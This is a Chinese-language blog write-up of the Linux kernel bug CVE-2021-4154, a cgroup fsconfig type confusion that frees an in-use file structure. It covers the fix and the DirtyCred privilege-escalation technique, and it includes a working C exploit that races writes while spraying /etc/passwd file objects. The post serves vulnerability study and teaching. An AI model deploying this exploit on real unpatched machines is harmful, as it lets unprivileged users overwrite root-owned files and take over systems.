CVE-2021-4154: 类型混淆引发任意file结构体UAF & "dirty cred"的利用

我是一名保安,保卫网络平安

CVE-2021-4154: 类型混淆引发任意file结构体UAF & “dirty cred”的利用

0x00. 总结

  • CVE-2021-4154 漏洞是由于变量类型混淆,引起的任意file结构体的UAF
  • CVE-2021-4154 漏洞的修复:在引发变量混淆的地方增加type的校验,防止错误赋值。
  • dirty cred是一种漏洞利用手法,它在打开文件并校验是否可以写入 -> 写入数据这一个过程中,将打开的具有可写权限的非特权文件替换为正常情况下不可写的特权文件。如此能够达到向特权文件写入恶意数据的目的。
  • dirty cred 利用过程中需要对非特权文件创建软链接来绕过打开文件时加的锁,此外可以通过新开线程写入大量数据来增大利用的时间窗口。

0x01. 前言

CVE-2021-4154是一个由于变量类型混淆引发的file结构体的UAF。该漏洞和dirty cred实际上并无关系:dirty cred是一种漏洞利用手法,而对于CVE-2021-4154这样的file结构体来说非常适合。因此,本文将从CVE-2021-4154漏洞分析入手,并使用dirty cred这一漏洞利用手法来进行漏洞的利用。

本文的实验环境为linux 5.13.3

0x02. CVE-2021-4154 漏洞分析

该漏洞影响的版本为Linux v5.13.4以前,在 v5.13.4 被修补。简单来说,通过fsconfig系统调用触发的cgroup1_parse_param()函数存在类型混淆。使用fsconfig系统调用设置任意一个文件描述符fd,进入对应的分支处理后,在对fsconfig的文件描述符关闭时,会造成指定的fd对应的file结构体被释放,从而造成该结构体的UAF

由于该漏洞的file结构体是在filp这样的cache来进行分配的,因此不难想到可以使用cross-cache的利用手法来利用该漏洞,只是略显复杂。而本文引入的dirty cred可以更为方便地利用该漏洞。

漏洞原理

正常情况下,用户可以使用fsopen系统调用打开文件系统,并使用fsconfig系统调用来修改文件系统的一些功能,例如说调整大小等。

关注如下fs_parameter结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
struct fs_parameter {
const char *key; /* Parameter name */
enum fs_value_type type:8; /* The type of value here */
union {
char *string;
void *blob;
struct filename *name;
struct file *file;
};
size_t size;
int dirfd;
};

该结构体是调整文件系统的重要结构体,其中关注union部分如下:

1
2
3
4
5
6
union {
char *string;
void *blob;
struct filename *name;
struct file *file;
};

众所周知,union中的几个变量会占用同一块内存空间,若不加以校验容易引起变量混淆。而struct fs_paramter给出的解法是在type变量处定义当前结构体的类型,根据不同的类型,union空间代表不同的变量类型。

那么很显然,若该type校验不严格,则很容易让union内部的类型发生混淆。linux kernel也能出现这种低级bug的吗?👈(你怎么不上

当调用fsconfig系统调用时,内核会经历如下流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
SYSCALL_DEFINE5(fsconfig,
int, fd,
unsigned int, cmd,
const char __user *, _key,
const void __user *, _value,
int, aux)
{
struct fs_context *fc;
struct fd f;
int ret;
int lookup_flags = 0;

struct fs_parameter param = {
.type = fs_value_is_undefined, // 默认有一个 type
};

// 省略,检查传入的合法性,例如传入string需要确实为string
...

switch (cmd) {
case FSCONFIG_SET_FLAG:
param.type = fs_value_is_flag;
break;
case FSCONFIG_SET_STRING: // 注意这里,若传入的是string,则param.type设置为fs_value_is_string
param.type = fs_value_is_string;
param.string = strndup_user(_value, 256);
if (IS_ERR(param.string)) {
ret = PTR_ERR(param.string);
goto out_key;
}
param.size = strlen(param.string);
break;
case FSCONFIG_SET_BINARY:
param.type = fs_value_is_blob;
param.size = aux;
param.blob = memdup_user_nul(_value, aux);
if (IS_ERR(param.blob)) {
ret = PTR_ERR(param.blob);
goto out_key;
}
break;
case FSCONFIG_SET_PATH_EMPTY:
lookup_flags = LOOKUP_EMPTY;
fallthrough;
case FSCONFIG_SET_PATH:
param.type = fs_value_is_filename;
param.name = getname_flags(_value, lookup_flags, NULL);
if (IS_ERR(param.name)) {
ret = PTR_ERR(param.name);
goto out_key;
}
param.dirfd = aux;
param.size = strlen(param.name->name);
break;
case FSCONFIG_SET_FD: // 若传入文件,则设置param.type = fs_value_is_file
param.type = fs_value_is_file;
ret = -EBADF;
param.file = fget(aux);
if (!param.file)
goto out_key;
break;
default:
break;
}

ret = mutex_lock_interruptible(&fc->uapi_mutex);
if (ret == 0) {
ret = vfs_fsconfig_locked(fc, cmd, &param); // 进行下一步操作,随后调用 vfs_parse_fs_param
mutex_unlock(&fc->uapi_mutex);
}

...

return ret;
}

可以看到,系统调用中设置了对应设置的type,随后调用了vfs_fsconfig_locked -> vfs_parse_fs_param

该部分逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param)
{
int ret;

...

if (fc->ops->parse_param) { // 这里会根据传入的文件系统来决定对应执行的函数。我们文件系统选择cgroup时,调用cgroup1_parse_param
ret = fc->ops->parse_param(fc, param);
if (ret != -ENOPARAM)
return ret;
}

// 后面不用管,但是能看到它的逻辑
// 假如属性不是字符串,才能继续,这个逻辑是正确的
if (strcmp(param->key, "source") == 0) {
if (param->type != fs_value_is_string)
return invalf(fc, "VFS: Non-string source");
if (fc->source)
return invalf(fc, "VFS: Multiple sources");
fc->source = param->string;
param->string = NULL;
return 0;
}

return invalf(fc, "%s: Unknown parameter '%s'",
fc->fs_type->name, param->key);
}

这里会根据传入的文件系统来决定对应执行的函数。我们文件系统选择cgroup时,调用cgroup1_parse_param

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int cgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct cgroup_fs_context *ctx = cgroup_fc2context(fc);
struct cgroup_subsys *ss;
struct fs_parse_result result;
int opt, i;

opt = fs_parse(fc, cgroup1_fs_parameters, param, &result);
if (opt == -ENOPARAM) {
if (strcmp(param->key, "source") == 0) {
if (fc->source)
return invalf(fc, "Multiple sources not supported");
fc->source = param->string; // 错误的逻辑:没有校验上面赋值的param->type,直接赋值。该union若为file,则引发类型混淆
param->string = NULL;
return 0;
}
}
...
return 0;
}

由此我们可知:

当调用fsconfig系统调用对传入的cgroup类型的文件系统处理时,若传入的cmd类型为FSCONFIG_SET_FD,则会错误地将fs_parameter中联合体部分的file结构体赋值给原本应该为stringfc->source

那么这会导致什么呢?当我们尝试释放打开的文件系统的文件描述符时,会调用如下函数:

1
2
3
4
5
6
7
8
9
10
static int fscontext_release(struct inode *inode, struct file *file)
{
struct fs_context *fc = file->private_data;

if (fc) {
file->private_data = NULL;
put_fs_context(fc);
}
return 0;
}

继续跟进puts_fs_context

1
2
3
4
5
6
7
void put_fs_context(struct fs_context *fc)
{
...

kfree(fc->source); // 释放 fc->source,此时其指向的是传入的fd结构体指针,正在使用中!这就导致了UAF
kfree(fc);
}

释放fc结构体的时候,同时还会释放其source指针指向的obj。而由于sourcefsconfig过程中由于变量混淆被错误赋值为file结构体指针,这就导致了正在使用的file结构体的UAF

POC

我们编译一个带有KASAN的内核(开启CONFIG_KASAN保护即可),并使用如下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include "ltfallkernel.h"


int main()
{
unshare_setup(); // 创建命名空间,否则无法打开文件系统

// 切换到tmp目录,创建一个文件作为victim
system("cd /tmp; touch vuln; chmod 666 vuln;");

// 使用 fsopen 打开一个文件系统,获得文件系统描述符
int fs_fd = syscall(__NR_fsopen, "cgroup", 0);
if (fs_fd < 0)
{
err_exit("popen failed");
}

// 打开victim文件
int uaf_fd = open("/tmp/vuln", 1);
if (uaf_fd < 0)
{
err_exit("failed open victim file.");
}

// 调用fsconfig,走FSCONFIG_SET_FD,其值为5
// 存在漏洞导致fc->source = victim的file结构体
if (syscall(__NR_fsconfig, fs_fd, 5, "source", 0, uaf_fd))
{
err_exit("fsconfig");
}

close(fs_fd); // 关闭fs_fd时,会同时关闭uaf_fd造成uaf

return 0;
}

编译,并在开启了kasan的环境下运行:

image-20250312161735345

可以看到触发了UAF

修复

加上对type的校验即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/kernel/cgroup/cgroup-v1.c b/kernel/cgroup/cgroup-v1.c
index ee93b6e895874..527917c0b30be 100644
--- a/kernel/cgroup/cgroup-v1.c
+++ b/kernel/cgroup/cgroup-v1.c
@@ -912,6 +912,8 @@ int cgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param)
opt = fs_parse(fc, cgroup1_fs_parameters, param, &result);
if (opt == -ENOPARAM) {
if (strcmp(param->key, "source") == 0) {
+ if (param->type != fs_value_is_string)
+ return invalf(fc, "Non-string source");
if (fc->source)
return invalf(fc, "Multiple sources not supported");
fc->source = param->string;

0x03. “dirty cred” 利用手法

利用原理

dirty credZhenpeng Lin团队提出的一种漏洞利用手法,blackhat原文在这里

具体来说,dirty cred是一种“竞争”的利用方法:先打开一个具有写权限的非特权文件,并尝试向其中写入恶意内容。这个过程可以分为如下三个部分:

  • 打开非特权文件
  • 校验用户是否具有对该文件的写权限
  • 写入恶意内容

大概就是“将大象放入冰箱”的三步吧(笑。

而在这三个步骤中,若我们能够在第二步和第三步中间插入一个步骤,即在校验用户是否对该文件具有写权限后,替换这个可写的非特权文件为特权用户的重要文件,则第四步的写入恶意内容时,就会写入到特权文件。大概分为如下四个步骤:

  • 打开非特权文件
  • 校验用户是否具有对该文件的写权限
  • 将打开的非特权文件替换为特权文件
  • 向特权文件写入恶意内容

大概就是在把大象放到冰箱前,就把它换成别的动物罢。这一步就需要一个漏洞来完成了。

blingbling师傅的图,这个过程大概是这样的:

image-20230518222645219

而这个窗口在实际的利用过程中往往过小,因此实际应用中并不能直接利用。

改进措施

若我们可以“延长”check文件权限到write写文件的窗口,则能够在这个时间窗口内通过UAF替换file结构体的obj的概率则大大提高。

因此,我们可以额外创建一个线程,其先行对非特权文件写大量数据,随后再让我们上面提到的路线继续执行,如下所示:

image-20230518225350906

如上所示,我们创建了thread1来写入大量数据。如此一来,thread2先进行校验文件权限后,在欲图写入文件内容时,会被阻塞。因此,在thread2write这个过程中的时间窗口将会大大延长,我们将其替换为victimfile结构体的概率将会大大增加。

POC

使用改进后的思想,我们可以写出poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
#include "ltfallkernel.h"
#include <linux/kcmp.h>
#include <sys/stat.h>
#include <assert.h>


#define NR_PAGE 0x40000
#define MAX_FILE_NUM 1000

int uaf_fd;
int run_write;
int run_spray;
int fds[MAX_FILE_NUM];

static void change_tmp_dir(void)
{
system("rm -rf exp_dir;");
system("mkdir exp_dir;");
system("touch exp_dir/data;");

char *tmpdir = "exp_dir";
if (chmod(tmpdir, 0777))
{
err_exit("chmod failed");
}
if (chdir(tmpdir))
{
err_exit("chdir failed");
}
}

void trigger()
{
// 使用 fsopen 打开一个文件系统,获得文件系统描述符
int fs_fd = syscall(__NR_fsopen, "cgroup", 0);
if (fs_fd < 0)
{
err_exit("popen failed");
}

symlink("./data", "./uaf"); // 创建一个软链接来进行写,是为了避免打开文件后被加锁

uaf_fd = open("./uaf", 1);
if (uaf_fd < 0)
{
err_exit("failed open symbolic file uaf.");
}

// 调用fsconfig,走FSCONFIG_SET_FD,其值为5
// 存在漏洞导致fc->source = victim的file结构体
if (syscall(__NR_fsconfig, fs_fd, 5, "source", 0, uaf_fd))
{
err_exit("fsconfig");
}

close(fs_fd); // 关闭fs_fd时,会同时关闭uaf_fd造成uaf
}

void *write_cmd()
{
/**
* 向特权文件写入恶意数据,并希望在check-write这个过程中文件被替换
*/
char data[1024] = "Pwned by dirty cred\n";

while (!run_write)
{
// do nothing, just wait
}

run_spray = 1;
if (write(uaf_fd, data, strlen(data)) < 0)
{
err_exit("write cmd: write failed.");
}

info("Overwrite done!");
}

void *slow_write()
{
/**
* 正常写入大量数据,拉长时间窗口
*/
info("Start to slow write to get the lock.");

int fd = open("./uaf", 1);
if (fd < 0)
{
err_exit("slow write open file failed");
}

// 在 addr 申请大量空间
size_t addr = 0x30000000;
int offset;
for (offset = 0; offset < NR_PAGE; offset++)
{
void *r = mmap((void *)(addr + offset * 0x1000), 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
if (r < 0)
{
err_exit("Mmap failed");
}
}
assert(offset > 0);

// 写入
size_t wr_len = (NR_PAGE - 1) * 0x1000;
run_write = 1;
if (write(fd, (void *)addr, wr_len) < 0)
{
err_exit("write failed");
}

info("write done!");
close(fd);
}

void spray_files(){
int found = 0;

while (!run_spray){
// do nothing
}

info("Got uaf fd %d, start to spray file to compete...", uaf_fd);
for(int i = 0 ; i<MAX_FILE_NUM; i++){
fds[i] = open("/etc/passwd", O_RDONLY); // 堆喷射来占据文件,这里同种文件不需要cross-cache
if(fds[i] < 0){
err_exit("opening /etc/passwd failed");
}

// int kcmp(pid_t pid1, pid_t pid2, int type, unsigned long idx1, unsigned long idx2);
// 判断同一进程中的第uaf_fd个文件描述符和第fds[i]个文件描述符是否是一个东西
if(!syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, fds[i])){
found = 1;
info("found! file fd %d.", fds[i]);
for(int j = 0 ; j < i; j++){
close(fds[j]);
}
break;
}
}

if(!found){
err_exit("File spray not hit, try again!");
}

}

int main()
{
pthread_t pid, pid_cmd;

unshare_setup(); // 不创建命名空间则无法创建文件系统
change_tmp_dir(); // 切换到临时目录进行处理

// 触发漏洞的 UAF
trigger();

pthread_create(&pid, NULL, slow_write, NULL); // 先行向非特权文件写入大量数据,如此拉长write-check的时间窗口
usleep(1);
pthread_create(&pid_cmd, NULL, write_cmd, NULL); // 向非特权文件写入恶意数据

// 堆喷特权文件,若分配到UAF obj,则写入的非特权文件会变成向特权文件写入
spray_files();

pthread_join(pid, NULL);
pthread_join(pid_cmd, NULL);

return 0;
}

这里需要注意的几个点:

  • 对于非特权文件,我们在整个过程前,先对其创建了一个软链接,整个过程中操作的都是软链接
  • 需要创建命名空间,否则普通用户无法创建文件系统,即使用fsopen等系统调用
  • 使用kcmp来对比当前进程的第x和第y个文件描述符事实上是不是指向同一个file结构体,具体可以看poc

0x04. Q & A

- 为什么需要对写入数据的非特权文件创建软链接?

参考blingbling师傅博客。这是因为,在thread1thread2打开文件并写入时,实际上中间还是会产生一个锁,名为FMODE_ATOMIC_POS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static inline struct fd fdget_pos(int fd)
{
return __to_fd(__fdget_pos(fd));
}

unsigned long __fdget_pos(unsigned int fd)
{
unsigned long v = __fdget(fd);
struct file *file = (struct file *)(v & ~3);

if (file && (file->f_mode & FMODE_ATOMIC_POS)) { // 锁
if (file_count(file) > 1) {
v |= FDPUT_POS_UNLOCK;
mutex_lock(&file->f_pos_lock);
}
}
return v;
}

/* File needs atomic accesses to f_pos */
#define FMODE_ATOMIC_POS ((__force fmode_t)0x8000)

而且,这个锁是在写文件的权限校验之前的。因此,这个锁会导致我们的整个利用过程失败。那么是有必要绕过这个锁的。

跟踪这个锁是在哪里被加上的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static int do_dentry_open(struct file *f,
struct inode *inode,
int (*open)(struct inode *, struct file *))
{
// ......
/* POSIX.1-2008/SUSv4 Section XSI 2.9.7 */
if (S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode))
f->f_mode |= FMODE_ATOMIC_POS;
// ......
}

S_ISLNK(st_mode) // 是否是一个链接.
S_ISREG(st_mode) // 是否是一个常规文件.
S_ISDIR(st_mode) // 是否是一个目录
S_ISCHR(st_mode) // 是否是一个字符设备.
S_ISBLK(st_mode) // 是否是一个块设备
S_ISFIFO(st_mode) // 是否是一个FIFO文件.
S_ISSOCK(st_mode) // 是否是一个SOCKET文件

该锁是在打开这个文件的时候就被加上的。但如上所示,有一个判断条件,其中若其是一个链接,则不会加上锁。因此,我们对非特权文件创建一个软链接,即可绕过这个锁,完成整个过程的dirty cred的利用。

这也能被绕过啊,这Linux它也不无敌啊

参考

blingbling师傅的博客 CVE-2021-4154漏洞分析及利用

[漏洞分析] CVE-2021-4154 cgroup1 fsconfig UAF内核提权

【kernel exploit】CVE-2021-4154 错误释放任意file对象-DirtyCred利用


CVE-2021-4154: 类型混淆引发任意file结构体UAF & "dirty cred"的利用
http://example.com/2025/03/12/system/kernel/CVE-2021-4154/
作者
Ltfall
发布于
2025年3月12日
许可协议